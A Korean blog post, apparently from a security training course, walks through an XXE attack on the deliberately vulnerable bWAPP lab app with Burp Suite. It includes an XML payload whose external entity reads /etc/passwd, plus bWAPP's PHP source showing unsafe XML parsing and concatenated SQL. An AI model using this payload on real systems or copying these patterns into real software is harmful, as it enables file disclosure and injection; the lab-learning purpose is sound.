삽질블로그
[Kali_Linux] XML External Entity Attacks(XXE) | bWAPP | Missing Functional Level Access Control 본문
[Kali_Linux] XML External Entity Attacks(XXE) | bWAPP | Missing Functional Level Access Control
삽질장인 2020. 9. 4. 15:34본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Missing Functional Level Access Control
- OWASP Top 10 A7 - 기능 수준의 접근 통제 누락
- 접근 통제 및 검증이 서버 설정, 관리 부분에서 제대로 구성되지 않았을 때 중요 자원 접근이 가능한 취약점이다.
- Ex) 디렉토리 접근, 파일 접근, 파일 다운로드 및 업로드
2. XML External Entity Attacks ( XXE )
- XML 인젝션을 실시하여 XML Parser(마크업 분석/구조화된 정보를 어플리케이션에게 전달하는 프로세서)
를 통해 페이지의 내용을 대체하는 권한을 획득하는 취약점이다.
- 이를 통해서 서버 시스템 내부 자원을 접근할 수 있다.
3. Missing Functional Level Access Control - XML External Entity Attacks ( XXE )
- 이 시나리오는 SYSTEM 키워드를 이용하여 XML 인젝션을 실시하고, 시스템 내부 자원 정보를 획득하는 내용이다.
- 이때, 'XXE'라는 외부 엔티티를 선언하고, '&XXE;' 변수를 이용하여 '/etc/passwd' 정보를 획득한다.
===============================실습========================================
1) 첫 화면
2) Burp Suite > Intercept -> 'Intercept is on' 으로 변경 실시
3) Any bugs? 클릭
4) 마우스 우클릭 -> 'Send to Repeater' 클릭 -> Repeater 클릭 및 이동
5) Request Body에 XXE 스크립트 실시
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY XXE SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&XXE;</login>
<secret>1</secret>
</reset>
6) 'Send' 버튼 클릭 -> Response에 '/etc/passwd' 파일 내용 확인
7) Proxy 클릭 및 이동 -> Intercept is on 클릭하여 off 실시
8) 'xxe-1.php' & 'xxe-2.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l xxe-*
-rw-rw-r-- 1 root www-data 5318 2014-11-02 23:52 xxe-1.php
-rw-rw-r-- 1 root www-data 2530 2014-11-02 23:52 xxe-2.php
bee@bee-box:/var/www/bWAPP$ vi xxe-1.php
- 중간 생략 -
</div>
<h1>XML External Entity Attacks (XXE)</h1>
<p>Reset your secret to <input type="button" OnClick="ResetSecret();" value="Any bugs?"></p>
<script type="text/javascript">
function ResetSecret()
{
var xmlHttp;
// Code for IE7+, Firefox, Chrome, Opera, Safari
if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
// Code for IE6, IE5
else
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("POST","xxe-2.php",true);
xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
}
</script>
</div>
:q!
bee@bee-box:/var/www/bWAPP$ vi xxe-2.php
- 중간 생략 -
// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
ini_set("display_errors",1);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $xml->login;
$secret = $xml->secret;
if($login && $login != "" && $secret)
{
// $login = mysqli_real_escape_string($link, $login);
// $secret = mysqli_real_escape_string($link, $secret);
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
// Debugging
// echo $sql;
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
else
{
$message = "An error occured!";
}
}
// If the security level is MEDIUM or HIGH
else
{
// Disables XML external entities. Doesn't work with older PHP versions!
// libxml_disable_entity_loader(true);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $_SESSION["login"];
$secret = $xml->secret;
if($secret)
{
$secret = mysqli_real_escape_string($link, $secret);
// SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시
(NULL, \n, \r, \, ', ", ^Z)
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
// Debugging
// echo $sql;
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
else
{
$message = "An error occured!";
}
}
:q!